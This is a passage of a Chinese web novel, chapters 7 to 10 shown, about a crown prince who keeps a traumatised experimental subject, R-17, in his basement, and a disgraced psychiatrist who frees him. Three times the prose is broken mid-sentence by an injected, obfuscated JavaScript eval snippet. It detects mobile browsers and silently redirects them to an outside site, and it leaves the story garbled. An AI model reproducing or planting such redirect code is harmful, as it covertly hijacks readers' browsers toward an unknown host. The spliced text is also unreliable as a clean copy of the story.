“没有,怎么会有呢。”安瑟伦干笑。 就是觉得你越来越变态了兄弟。 良好的教养使得时闻歌即使看懂了也不会真的去指责安瑟伦什么,他冲小谢医生笑了笑:“所以,他不说话、拒绝交流应当是出于某种心理原因。” 书没有提到过这段,它只记录了R-17于仲夏夜逃离帝都星,而后便是三年后的折返,中间经历只字未提,时闻歌现在可以说比R-17本身还了解他自己,但他也不知道R-17是怎么克服这段心理创伤,只能猜测和当实验体的这段时间脱不了关系。 时闻歌没有和小谢医生分享R-17人生经历的欲望,他用食指轻托下巴,显然在等待最终的诊断结果。 “如果是心理原因的话,”小谢医生犹豫,“那可能并不是他不能说,而是他不想说。” “在他生存的环境中,语言作为交流的工具,其作用被无限缩小了,他意识到说出的话无法带来想要的结果,甚至可能让自己坠进更痛苦的深渊,他封闭了认知,断绝了语言能力。”小谢医生停顿片刻,“所以出现心理层面的语言能力退化。” 时闻歌可有可无地哦了一声。 “现在该怎么治疗呢,医生?” 小谢医生:“通常情况下,我会建议让患者回到熟悉且令他安心的环境,给予充分的关怀,或许能令患者一步一步地找回说话的欲望和能力。” 情报还是太少了。 光是通过监控画面观察患者情况,不足以让一位尚且年轻的心理医生做出足够精准的判断。小谢医生咬了咬下唇,再次向皇太子殿下提出:“如果可以的话,最好还是面诊,殿下。” 然而时闻歌再一次拒绝了:“谢医生,与他面对面交流会成为你这辈子最后悔的决定,我想还是算了吧。” “况且你刚刚说的是通常情况,想来还有其他办法,对吗?” 小谢医生再次望向映在雪白墙壁的静止身影,他还是低垂着头,不发一言,像意识连同灵魂全部抽离,只剩下一具美丽的空壳留在人间。 他快要枯萎了。 医生默默地叹了口气:“以毒攻毒,经受外界的强烈刺激或许能激发他找回自我的欲望,但也有可能会让他陷得更深,这种方法因人而异,所以我说需要一次近距离的接触,好帮助我确定患者能接受的刺激程度的极限。” “谢谢你的好心。”时闻歌的笑容一尘不变,“但是,不必了。” 食指再次叩响桌面,一如邀请医生进门时那样端正笔直,温柔的语气包含不容置疑的强势,咚咚两声过后,时闻歌张口:“稍后我会安排复诊时间的,现在诊疗结束了,医生。” 无论再怎么想要劝说时闻歌,听见这样直白的逐客令,小谢医生也只能悻悻地起身,向时闻歌微微欠身,告辞离开。 咔哒。 门轻轻地合上了。 在门掩上的那一刻,安瑟伦像没有骨头似地,瘫倒在一旁的沙发。他看向墙壁的剪影,想起时闻歌曾经向他透露过的R-17的实验体身份,感叹道:“可怜哦。” “无需同情,我会治好他的。”时闻歌一挥手,投影画面便自动消失,现在只剩下了一堵什么都没有的白墙。 “你确定能治好?” “无妨,”时闻歌面色如常,“心理医生治不好的话,我会请兽医。” “??”安瑟伦不懂,安瑟伦大为震撼,“这对吗老大?!” 大惊小怪。 经过人体改造的R-17都不能确定究竟还算不算人类,心理医生治疗人类的心理疾病,对待非人生物自然要找治疗非人的医生。 时闻歌懒得向安瑟伦解释,转而困惑地看向他:“你怎么还没走?” “干嘛?赶我走?”安瑟伦清楚认知到了时闻歌用完即扔的扒皮本质,“你这屋子冷冷清清的,我来是给你添点人间烟火气的好不好,我还怕哪天你死在这屋里都没人知道。” “会有人知道的。”时闻歌仍旧保持着困惑但又不失礼节的微笑,“我的管家很尽责,会为我收尸。” “……谁跟你说这个啊!” 但有一点安瑟伦说得没错,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517445|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从时闻歌从皇宫以养病的名义搬到帝都星的郊区,他居住的庄园除了发小安瑟伦以外,就再也没有人踏足过了。 甚至他的皇帝父亲,皇后母亲也没有。 往日那些看在他未来皇帝身份想破了头都要往他身边凑的人尽数消失,好像所有人都默认了他生病了,他无法再承担起帝国继承人的名号,皇帝之位将另属于他人,他也因此失去结交的价值,被明里暗里地排出帝国上层的社交圈子。 “告诉兄弟一句实话,你咋想的啊?肯定不甘心的吧,但老大你现在除了我好像也没别的能用的人。” 安瑟伦指指自己:“而我,只是一个,可怜,无助,还要凑学分才能顺利毕业的大学生,不要指望区区一个校园帅哥能帮得上忙哈。” 时闻歌轻轻笑了:“谁知道呢?” “二十一岁,正是适合退休的年纪,养R-17也很有意思,”时闻歌眉毛一挑,无端为温润的眉眼增加一分艳丽,“你留下来就是为了说这些的?” “额,那倒不是。” 安瑟伦话锋一转:“我接到消息,皇室过几天要召开一个新闻发布会,正式宣告你因生病修养,再委婉地说些有的没的,意思就是宣告你不再是皇位的第一继承人……等等,你这个眼神看我干什么,啥意思??老大你不会没收到通知吧?” 安瑟伦惊得都要跳起来了:“你可是新闻发布会的主角诶!都没人告诉你一声的吗?!皇帝陛下没说?你的皇后妈也没说?新闻部和皇室发言人都是吃干饭的??” 时闻歌:“……” 倒也不必说得这么大声。 安瑟伦一副“惨了天都要塌下来”的鬼样子,不可置信地看向他的发小,那眼神刚刚还在说R-17好惨,现在又变成了兄弟你好惨。 “……”时闻歌用尽涵养才没有亲自动手将他赶出去,皮笑肉不笑道:“我记得你今天有课,你们老师似乎对出勤率很执着,再不出发真的有可能扣学分。” “嗷!”安瑟伦惨叫一声,连滚带爬爬起来,“你不说我都忘了,走了走了,真走了。青山不改绿水长流,兄弟回头我们再聚。” 他像一阵旋风似地离开,出门还不忘将门合上。 霎时间书房内变得静悄悄的,即使是独身一人,时闻歌也没有将挺直的脊背放松下来,他已经习惯了随时保持一个皇太子应有的高贵和优雅,找出打火机,将桌面R-17的纸质体检报告烧成灰烬,再拨动手腕的芯片,发现左上角有一封新邮件的提示。 邮件送达的时间是一分钟之前,发件人是皇室对外的新闻发言人。 这帮人连亲自通知他一声都不敢,只能用邮件告知,时闻歌快速过了一遍邮件内容,发现除了精确的三天后下午的某个时间点外,其他都与安瑟伦说的大差不差,充满官方的外交辞令,邀请他——或是用命令更合适——出席新闻发布会,正式宣告将有很长的一段时间离开大众视野。 已阅。他在心里说。 时闻歌没有回复一个字,动动手指点击删除,让这封迟来的通知彻底化作数据碎片。 8. 第 8 章 哒。 哒哒。 和缓的脚步声充满节奏韵律,在寂静的长廊回响。 送走了安瑟伦和小谢医生这两名客人没多久,时闻歌便离开书房,通往地下室的道路需要经过一道人脸识别和一道密码锁,严苛得像是魔王在恶魔城设下道道关卡。 时闻歌推开地下室的门,见他进来,空洞的人偶R-17立刻挣扎起身,从一堆布条和木板的碎屑中伸出爪子。 也只有在面对时闻歌的时候R-17会有鲜活的类人反应,然而那只爪子即将挨到时闻歌的发丝和鼻梁时戛然而止,掀起的风浪仅仅吹开一小片棕红刘海。 敌人。 不可战胜的敌人。 R-17的瞳孔紧紧盯着他,面色一一透露困惑、犹豫和苦恼,他清楚地记得眼前这个人带来的伤痛,以及他不可逆转的强大。 杀死他!R-17心里说。放弃吧。心里同时在说。 反倒是时闻歌站在原地饶有兴趣地注视着他的拳头,和他的眉眼,说:“怎么不动了?” 见他一直没有动作,时闻歌恍然大悟,爱怜地拍了拍R-17的头发:“我可怜又可爱的小狗,终于学会面对主人时要摇尾乞怜了吗?” 和他尖刺般充满攻击欲的性格相比,银白的发丝柔软得不像话,时闻歌用力按下他的头颅,见他咬紧牙关,被迫以一种仰视的视角凝望着自己全部的身影。 他看见R-17眼中的自己睫毛弯了弯,自言自语:“现在我该拿你怎么办呢?” 以理性而论,一个空壳状态,不会说话不会动,甚至没有自我意识的R-17对时闻歌是最有利的。 他的性命和时闻歌绑定在一起,两人中无论谁受到足以危及生命的致命伤,都会有另一人分担,命运将他们二人彼此相连。 就好像一个神明赐予的外挂,时闻歌能想象得到,如果R-17不会乱跑,一直呆在一个安全的地方,是不是就意味着,从此之后时闻歌都不再面临死亡的威胁。 不死。 多么大的诱惑。 所以不治了,锁起来,抹掉他的自我意识,泡进罐头,藏到地底——将他变成只属于你一个人的空壳人偶。 “这样,我们来做一个实验吧。”可是时闻歌想了想并没有直接这么做,他压下心底纷杂的念头,突然说,“十几个小时没有进食,你一定饿了。” “今天想吃点什么呢?” 他变魔术般从身后掏出两样东西,今天小谢医生提供了两个治疗方案,一是保守治疗,让R-17回到最熟悉最令他安心的环境,二是以毒攻毒,刺激他。 最熟悉的环境自然是研究所,最安心?时闻歌想,大概率是研究所供R-17沉睡安眠的营养仓。 研究所通常不会供给实验体以新鲜的食物,那样摄取营养的效率太低,也不可控。所以时闻歌左手掌心躺着一支营养剂,液体晶莹泛绿,和仲夏夜山脚被打破的罐内液体颜色如出一辙。 而他的右手掌心,有一个红苹果。 “二选一。” 治疗还是放弃。 “你想吃哪一个?” 你会选择哪一个? “是早已形成习惯的营养剂。” 是再次回到罐子成为一个没有灵魂的兵器。 “还是早已忘记味道的苹果?” 还是——自由? 两样食物被轻轻放置在距离R-17最近的角落,时闻歌慢慢后退,见R-17果然被吸引了,他的目光落在营养剂的玻璃外壳,深红眼底倒映暗色的涟漪。 他朝营养剂伸出手,却迟疑了。 红苹果的香味正在刺激他,尽管脑海中已经失去了所有记忆,失去所有常识,R-17甚至都不记得“苹果”到底是个什么东西,他对生活社会乃至人类的认知全部被摧毁,但现在,他有一个苹果。 R-17坚定地选择苹果。 先是小步行走,而后是奔跑,最后连滚带爬地奔向苹果,R-17双膝一跪,从地上抓起它,几乎是在触碰的瞬间便捏碎了它,汁水和嫩黄的果肉躺在手心,他没有任何迟疑地全部灌进喉咙,呛出一声声咳嗽。 他的肠胃没有改造过,且太久没有吃到新鲜的食物,泛酸的果肉在进入食道和胃部后不自觉地痉挛,他想呕吐,胃在抽痛。 即使如此,他的动作也没停下。 R-17,生理年龄十八岁,身高一米七五,未来还有长高的趋势。他应当是一个自由的少年,如今却蜷缩身体,在这不见天日的地下室,大口大口吃完一个苹果。 时闻歌再次走到他身后,现在R-17几乎忘记了自己仍然身处敌人的地盘,他任由时闻歌伸出手,抚摸他过长的鬓角,和柔软的额发。 “好孩子。”他摸了摸R-17的头。 。 从这天开始,时闻歌开始尝试教R-17说话。 他先是投喂了R-17十个苹果,时闻歌很少刷社交网络,但即便深居如他,也知晓网络上活跃着一批萌宠博主。从前他不理解为什么宠物进食类的视频会如此受到民众的喜爱,但现在他模糊地抓到了一丝线索。 时闻歌摸出第十一个苹果:“还吃吗?” 手伸到半空突然僵住了,R-17这才意识到自己正在进食的红红的圆圆的食物,其源头正是他打不过的死敌。 他连忙后退,同时呲牙以作警示,只是眼神依旧没离开时闻歌手中的苹果。 他看着时闻歌。 时闻歌看着他。 场面一时僵住了。 手腕芯片适时滴滴作响,还是庄园的老管家出声提醒,为难道:“殿下,是我一时疏忽,没能准备足够多的水果。” “苹果……库存不足了。” 意思是您别再祸祸了。 “好。”时闻歌从不与老管家为难,只是库存不足导致投喂失败有点影响太子优雅的形象,他自顾自地找了个借口,也不管R-17是否能理解他这一系列复杂的心理,“苹果吃得太多伤胃,要懂得节制。” 然后干脆利落地带着最后一个苹果转身离开地下室。 R-17:“……” 小气鬼,他脑袋突然蹦出三个字。 隔天,小气鬼时闻歌带着一本纸质书走进地下室,他躲过R-17的突然袭击,再次废掉他作乱的双手,气定神闲走到一堆废墟中间,在勉强还算是书桌的木板摊开书页:“我知道你听得懂,我们先约法三章。” “第一,你不能随意攻击我。” “第二,听从我的命令,做对了有奖励。” “第三,违抗或是做错了有惩罚。” 他笑眯眯地看向死死瞪着他的R-17:“听明白了吗,那我们开始吧。” 时闻歌带来的是一本皇室人物简介,自人类逃离旧地球,驱动七颗行星驶向宇宙已经过了两百年,人类帝国也已建立了两百余年,历经多位皇帝和动乱洗礼,全都汇聚成了手中的历史书。 史书随时代更迭已经更新到了时闻歌这一代,他没有给R-17从头讲起的兴趣,径直翻阅到最后几页。 “时闻歌。”他指了指自己,字正腔圆,“你的主人,皇室正统继承人,皇太子殿下。” R-17空洞的眼神望向他。 时闻歌也不生气,相比于之前那副空心人偶的模样,现在的R-17已经进步很多了,至少他对外界有了反应,就是不知道是不是只对时闻歌一人有反应。 “时、闻、歌。”太子殿下亲自教学。 R-17呲了呲牙,空洞的眼神又挪回去了。 见他唯一的学生完全不配合,时闻歌叹了口气,他上前强行撬开R-17蚌壳一样紧闭的嘴,食指和中指伸进去强迫喉咙和舌头摆到正确的发音位置,赢得R-17相当愤怒的攻击。 时闻歌收回自己差点被咬成两截的手指,疑惑:“为什么这么戒备,R-17,难道比起我的别庄你更想回到研究所?” “那个你厌恶又熟悉,你无路可退无家可归时下意识想到的地方?” “你想回去吗,R-17?”时闻歌低声询问。 回答他的依旧只有沉默。 R-17现在依旧不具备说话的能力,或者说,他仍旧对开口说话同他人交流报以抗拒的态度,这是心病。 时闻歌再次尝试了几次也没有成效,R-17不愿意说话,不愿意交流,之前那个捡起苹果的少年根本不懂苹果代表的含义。不仅如此,时闻歌还发现了一项新的问题。 小谢医生第一次诊疗时被一掌击碎的床早就换成了新的,可今天一早依旧逃脱不了化作废墟的命运——R-17似乎无法控制自己的力道。 “R-17,事不过三。”时闻歌警告道。 一连两天的教学都以失败告终,第三天一早,R-17仍然不愿开口,时闻歌合上书,环视一圈根本看不出原本是床的木板,冷脸向他的宠物宣布:“R-17,你不太听话啊。” 不听话的宠物要遭到惩罚。 时闻歌拿出一早准备好的半脸头盔,不顾R-17的挣扎,将他的上半张脸塞进去,锁得死死的。 头盔是纯黑的,纸片一样薄,韧度却很高,现在他除了头发以外只有抿死的嘴唇和紧绷的下巴露在外面,浑身上下都透露着抗拒。不知道时闻歌动了哪里,R-17的眼前突然亮了起来,他看见时闻歌放大的脸就在眼前,吓得像只猫骤然后撤,而后才后知后觉头盔还在脑袋上箍得不舒服,他看见的其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517446|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头盔内侧和外界实时同步的视频流。 时闻歌敲敲头盔外壳,无视R-17的挣扎,咚咚两声后宣布:“今天我有事,你戴着头盔在家里好好反思近期的所作所为。” 今天是皇室召开新闻发布会的日子,作为发布会的主角,时闻歌大清早就得回到帝都星市中心的皇宫待命。 他走到门边,侧身输入一连串数字密码,门立刻打开。 在离开之前时闻歌提醒道:“今天心理医生会来庄园,为你做第二次诊疗……算了,不必在意,你们不会有机会碰面。” 时间有些赶,皇宫方面派来的悬浮车就在庄园屋顶等候,时闻歌没有回头观察R-17的表情,衣角在行动间上下翻飞,像一朵蝴蝶随着他一起匆匆离开。 在经过一楼正厅的时候,时间凑巧,刚好遇上前来复诊的小谢医生。 但时闻歌看上去很急,他向小谢医生颔首示意:“很抱歉,谢医生,我没考虑到皇宫方面召请我的时间提前了,导致我不得不违背我们约定的时间,不过没有关系,我的管家会协助你,还是之前你曾去过的二楼书房,监控器转播画面已经打开,你可以继续观察患者的情况,有问题向我的管家汇报即可。” “额……”小谢医生迟疑须臾。 他看了看一旁沉默等待的白胡子老管家,纠结许久,最终还是鼓起勇气看向太子殿下:“是这样的,太子殿下,我想来想去,认为患者的情况很特殊,具有非常高的研究价值,殿下,我觉得还是面诊……” “不可以。”没等说完,时闻歌便打断了他。 太子殿下的笑容还是那么无懈可击,春日融融,让人晕眩,声音像是透过什么粘稠的物质传导而来,听不出远近。 “谢医生,我知道你之前实验课题因违规用药导致的重大医疗事故,希望你谨言慎行,”他顿了一下,“——毕竟,我强调了很多次,你不能去地下室,你的患者真的很危险。” 时闻歌笑了一下:“你不会重蹈覆辙的,对不对,谢医生?” 。 谨言慎行。 小谢医生琢磨着这几个字。 太子殿下已然离开,偌大的庄园书房只剩下他一个人,他看着失真的监控器画面,看着画面中央一动不动的R-17,而后挪向脚下的羊绒地毯、头顶的水晶吊灯,和书桌表面随意摆放的古董花瓶。 谢医生。 皇家生命科学院临床医学与心理学双学位,天之骄子,前途一片光明。 ——曾经的。 三年前作为精神科实习医生的谢医生,为了获取第一手科研数据,违法为患者开具还在研发过程、没有经过审批的非法药物,并加以医学诱导手段,导致三名患者神经受损,一名患者换上人格分裂症。 他望着监控器画面怔怔失神。 科研本就是大胆求真,充满勇气的道路,其过程牺牲不可避免,光是一味谨慎怎么能获取最前沿的科研数据?! “谢医生?谢医生?”老管家轻声叫他,“我看您脸色不好,要不要给您倒杯水?” “……哦,哦,有劳了。” 不知道发呆过了多久,过了有这么久吗,好像皇室的新闻发布会都快开始了。 小谢医生勉强回神,继续通过监控器画面为他那充满科学谜团的患者诊疗。他注意到患者今天戴上一副类似面具的头盔,他比之前有活力了点,又或者是头盔太不透气,他倏忽抬手,想硬生生将头盔从脸上撕下来。 这怎么能行! 太子殿下不懂科学,他根本不知道眼前患者在病理学和精神医学上的独特价值,将他关进地下室,锁住他,简直就是暴敛天物! 不行。 小谢医生想明白了,他要去救人,他不能让这独一份的科研数据掩埋在帝都星郊外的僻静庄园。他是天才,是勇者,无论是对患者,还是对未来因为他的研究重获新生的人来说,他都将是独一无二的救世主。 老管家离开书房了,现在时机正好,热血上头的小谢医生完全将他的职业道德和操守抛在脑后,他偷偷摸摸出了门,找到向下的楼梯。 也许是仁慈的神明都在帮助他,又或是庄园内的仆人本就太少,一路上小谢医生没能见到任何人,运气好到可以说是撞大运。 太子殿下居然忘记打开通往地下室必经之路上的人脸识别。 天助我也! 小谢医生进入地下室犹如无人之境,他在门口摸索了一番,很快找到一个开关,想都没想便扳动下去。 咔哒。 倏而面前墙壁唰地一下变成透明,小谢医生望过去,看向他被囚禁的缪斯,他美丽的天启。 怜悯地说:“可怜的小东西,被关在这种地方,你想不想和我离开这里?” 9. 第 9 章 晨光如碎金倾泻至银白剔透的皇宫屋檐,尘埃在浮动,人流在穿行,整座宫殿沐浴在初生朝阳之下,显得沉默而又井然有序。 距离新闻发布会正式召开还有一段时间,时闻歌下了车,临到宫殿侧门独自一人,无所事事把玩手腕的芯片,黄金镶边的腕带大约两厘米宽,深深嵌入腕骨,仿佛和手腕合为一体。 这是每个帝国居民从出生便佩戴的电子设备,随年龄增长可逐年更换,集身份证明、资产财富和社交娱乐于一身。时闻歌随意抚摸腕带表面,等待约摸两三分钟后,侧门敞开,一个身材偏瘦的男人出现在视野中:“殿下,我带您去会场。” 是皇室私人秘书处的副秘书长,兼本次发布会的主持人。 “好。”时闻歌随他一起。 新闻发布会的举办地点并没有占据整座皇宫,准确地说只占据了太子东宫,巍峨宫殿群东北的一角。皇室私人秘书处是专门处理皇室内部事务的行政部门,隶属其中的职员们来来往往,将皇太子曾经的居所布置成足以接待上百名记者的公共展厅。 瘦男人的语气恭敬,边走边低声叮嘱时闻歌:“殿下,这次发布会将会由我代表皇室向媒体们宣布您将长期修养的消息,因此没能给您准备发言稿,等我发言结束后有一个短暂的问答环节,放心好了,您如果不方便开口,可全部交由我代替您回答。” 话说得很委婉,但实质内容一点都不客气,时闻歌听明白了。 别说不该说的话,别做不该做的事,当好一个花瓶。 听他说完,时闻歌面色不改,侧目回望。 只是略微了收敛笑意,副秘书长却觉得一股寒意从头灌到脚,时闻歌不笑的时候就会突出他碧绿眼瞳深处仿佛夺人心魄的金色,威慑感极重。但时闻歌紧接着再次勾起嘴角,那股威慑便消散了,他仍旧是和煦且优雅的太子殿下,快速到副秘书长以为刚刚的寒意只是他的幻觉。 时闻歌问:“父亲和母亲会出席吗?” “额,不,不会。根据事务官的日程安排,皇帝陛下和皇后殿下今日事务诸多,均不会出席本次发布会。” 时闻歌哦了一声:“那让我闭嘴是父亲和母亲的意思吗?” 霎时瘦男人冷汗唰地就下来了:“殿下,皇帝和皇后两位陛下均具备秘书处的直属领导权。” “这样啊,”时闻歌可有可无地点头,“我不为难你们,请转告父亲和母亲,我会照做的。” “……是。” 瘦男人恭敬地回答。 一路无言。 直到将时闻歌领到主会场侧后方的小房间,瘦男人才再次开口说话,告诉他十分钟后各大官媒的记者就会齐聚主会场,现在是开场前最后的检查阶段,屋外的琐事繁杂,他要再去敲定一遍流程。 “去吧。”按照他父母的指令,时闻歌充分扮演好一个好说话的花瓶形象。 瘦男人短暂地来又短暂地走,时闻歌再次无所事事地开始把玩起腕带,在房间内随意闲逛。 尽管东宫曾经是他居住过的地方,但时闻歌对这里其实并不熟悉,房间不大,走两步就逛完了。时闻歌推门走出去,目及之处一整排房间长得都差不多,看风格应当是杂物间或者员工临时办公的地方,隔音效果很差。 拜异于常人的五感所赐,他听见一男一女两个声音,应当是秘书处的小职员,都很陌生。 “我看见了!”这是女声。 “看见什么了?” “太子殿下啊,本人比投影更帅!” “你是殿下的颜粉啊?”男声语气平平,颇有一股讽刺的味道,“那你还不抓紧多看几眼,或许之后就没机会再见咯。” 现在太子殿下因病修养是全民热议的话题,可没人知道其背后的原因,时闻歌从小就甚少在公众场合露面,这种现象随着成年之后更是愈演愈烈,到现在更是以生病为由宣布彻底失踪了。 “为什么啊?”女声问,“难道殿下是个看见人就害怕的究极社恐?” “……你看他像吗?”时闻歌都能想象得出男人的白眼,“要我说,太子殿下隐退幕后归根结底还是皇帝和皇后两位陛下的意思。” 这是个明眼人都看得出,但从来没有人摆到明面的问题。 时闻歌和他的父母关系都很一般,比起时闻歌,皇后更偏爱她的养子。皇帝爹更是不得了,老当益壮风韵犹存,风流多情的名声在外,时闻歌自己都不知道自己有多少个私生子弟弟妹妹。 不过是时至至今,皇室从未承认过罢了。 但现在不知是不是到了必须承认的地步,男声显然了解更多内幕:“两位陛下和殿下关系不好,都想推更看好的人上台,以前殿下能坐稳太子之位是因为他有个把他从小养大的好舅舅,有钱有权还有能力,但现在那位大人不是没了嘛。” “要我说爹不疼妈不爱,唯一疼他的亲舅舅还死了,太子殿下说不定真的因此出现心理问题,不得不修养。”男人唏嘘道,“如果真是这样,那殿下可就太可怜了。” “真惨。” “再惨哪有我们打工人惨,人家退了至少是皇室,生活无忧,我们可还得上班,还是先顾好我们吧。” “唉。” …… 两人说着说着声音越来越小,到最后相顾无言就剩下叹息。也不知道过了多久,副秘书长发现屋内的时闻歌不见了,连忙出门寻找,在一个转角后发现正发呆的他。 “殿下!”副秘书长一声惊叫后却说不出指责的话,嗫嚅半天,“您怎么到这来了?” 还有比说顶头老板坏话被本人抓包更恐怖的事情吗?! 似乎被副秘书长这一声“殿下”惊到,上班时间聊八卦的两个工作人员顿时连叹息都没有了,屏住呼吸,大气也不敢喘,在心里胡乱猜测刚刚的话时闻歌究竟有没有听见。 离得这么远,大概是没有的吧,哈哈。 实际上听了全程的时闻歌:“。” 八卦乃人之常情。 好在他之前答应过不为难秘书处,并没有打算向瘦男人打小报告顺带暴露自己也偷偷吃瓜的事实,顿了几秒道:“没事,出来转转。” “该我出场了?”他问。 “是,是的。”副秘书长道,“人差不多到齐了,您现在就可以入场了。” “好。”他摩挲着手腕的表带,跟随男人的脚步,毫不留恋地走向新发布会的会场。 。 那个人走了。 郊区庄园的地下室,R-17正为自己的目光寻找焦点,他比任何人都擅长忍耐时间的流逝。 那个人走了。 他在心里又重复一遍。 那个人。 时,闻,歌。 他是武器,武器只要被使用就好了,不用在乎杀死的人是谁,也不用在乎使用他的人是谁,但那个人在他面前念叨了两天,就算R-17的自我认知是一把抛却了沟通的完美兵器,他也被迫记住了那个人的名字。 时闻歌是敌人,但打不过。时闻歌是主人吗?但他也没有下达新的命令,说要杀死谁——这令一个武器非常困扰。 啊,找到了,时闻歌临走前在桌子上放了一个新鲜的苹果,红艳艳的,非常亮眼,R-17非常满意它作为自己视线新的焦点。他盯着它发呆,觉得身为兵器的自己不该有思考的价值。 时闻歌说,研究所,熟悉,可以回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517447|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' R-17下意识地皱了皱眉,喉咙涌上生理性的反胃,但他同样不喜欢可以思考但哪里去不了的地下室。 就在这时。 红苹果背景的墙不知为何变得透明,一个和梦中一模一样的黑影出现在他面前,叫他可怜的小东西,问他:“你想和我一起走吗?” R-17:“……” 他不发一言,连眼神都欠奉。 类似的现象时有发生,梦中的人和事会同步出现在现实中,教人分不清现实和梦境的边界,但对一个武器而言,弄清边界本身就是没有意义的事。 如果他走进来的话,倒是可以杀掉,履行武器的职责。 小谢医生对R-17内心危险的念头一无所知,他只看见R-17和监控器中一样对外界毫无反应,对此十分不甘心,再接再厉道:“即使是太子殿下也没有随意囚禁他人的权利,你放心,我肯定不会像太子殿下那样粗暴地对待你。” “我是专业的,在下城区你不会找到比我更好的心理医生,无论你生的病有多么严重,我都一定会治好你。” 距离太近了,即使有玻璃墙的阻隔,小谢医生还是受到了影响。好在临行前时闻歌套在R-17脑袋的头盔使得他没能看见那一双震撼心灵的血瞳,更多的是陷入自我情绪的泥沼中无法自拔。 他的语气愈发甜腻,像条在肌肤表面滑行的蛇:“看看你,美丽的面容,修长挺拔的轮廓。为什么要戴上面具呢?是不是时闻歌强迫你的?!” 好吵。 这个人。 叽里咕噜在说什么。 然而膨胀的小谢医生现在都敢直呼皇太子的大名,根本读不透患者真实的内心:“可怜的东西,你的症状太稀有了,和我走吧,我会治好你,我会功成名就!我要让开除我的那帮人后悔。不就是几个病人吗,他们本来脑子就有问题,我用他们实验新药怎么了??变得更严重全都是因为他们运气不好,这是个体概率原因,和我有什么关系。就因为几个精神不正常的疯子开除我,他们知道这究竟对一个天才意味着什么吗!!” 絮絮叨叨说了一大堆,更多地是沉浸在负面情绪里,小谢医生开始咣咣砸墙,却没注意到R-17这时抬起了头,被面具遮盖的瞳孔幽幽地注视着他。 他捕捉到了关键词。 时闻歌,研究,实验和测试。 我的归宿。 时闻歌说研究所是我的归宿。 “我爱你,我会让你发挥应有的价值。”小谢医生停下来,怔怔地说,“我能帮你……时闻歌不在,时机正好,我现在就放你出来。” 时机正好—— R-17突然产生了不该有的想法。 武器的意义在于服从和杀戮,他应该不听不想不在乎,像一个死物。然而归宿是什么?地下室和研究所有什么区别?我要怎么得到接下来的命令? R-17想了又想,终究还是违背了武器的行动准则,依靠自身的意志站起身。 在小谢医生惊喜的目光中,可怜的患者朝前走了两步,伸手捞起他仅此一个的苹果,小心翼翼以最轻的力道触碰门框的密码锁,他清楚地记得时闻歌临走前,开启地下室门时输入一连串数字,随机分布的八位数。 滴地一声,门打开了。 目光所及之处多了一条向上的楼梯,拾级向上通向未知的道路,R-17试探性地踏出离开庄园的第一步,躲开想要进入他攻击范围的男人,小谢医生的脸像是风扫过的落叶,没有在脑海中留下任何痕迹。 但R-17暂时改变主意了。 他决定暂时不杀这个男人,并更改当前执行的目标。 我要离开这个鬼地方,R-17想。 10. 第 10 章 “太子殿下,听闻您生病是真的吗?” “殿下预计修养时间多久?” “皇帝和皇后陛下支持您的决定吗?” “太子殿下请看镜头。” 东宫前厅嘈杂得跟菜市场一样,一道木台如同摩西分海般隔开采访者和被采访者,听见有无人机飞至头顶,时闻歌下意识抬头,冲机载摄像机露出一个非常标准且符合人设的营业笑容。 身为合格的花瓶,他没有回答,而是抬了抬手腕,任由副秘书长接过话茬。 “……太子殿下作为皇帝陛下和皇后殿下唯一的继承人,一直承受多方压力,自三年前就出现了睡眠障碍、记忆退化等症状,并确诊为中度抑郁症……” 副秘书长手持讲稿:“……在皇帝陛下和皇后殿下的关怀之下,太子殿下积极主动配合治疗,减少对外媒体曝光,但三年来情况并未好转。太子殿下忧心自己身体变化会为民众带来不应有的负面影响,同时为避免病情进一步恶化,殿下遂决定……” “遂决定长期休养,希望民众能给予其理解和支持,并静候殿下归来。” 副秘书长小心翼翼看了一眼仍旧微笑的时闻歌,见他没有反驳,长长地舒了口气:“以上便是本次发布会的内容,现在记者朋友们可以开始提问了。” 会场顿时嘈杂声四起,一个戴眼镜的记者率先举手:“殿下,您真的确诊抑郁症了吗?” 时闻歌的肤色是接近冰川的冷白,为了让他的病更真实,临出场前,化妆师在他脸上倒腾许久,如今他肤色苍白,嘴唇干裂,眼下一圈不起眼的乌青,仿佛真的重病缠身,下一秒就要昏倒。 “啊,”时闻歌面不改色,“他说什么就是什么吧。” “您这是表达对皇室和秘书处的不满吗?” “不是。” “皇帝陛下和皇后殿下对您的病情有什么看法呢?据说几位皇室成员之间关系不睦,请问这是真的吗?” “虽然父亲母亲没能出席,”他的笑意加深,“但他们叮嘱我许多。” ……这大概是皇室内部关系不错的意思?记者眼里透露出茫然,但副秘书深怕时闻歌再说点什么,当机立断示意换下个人提问,可依旧没能阻止时闻歌回答问题的欲望。 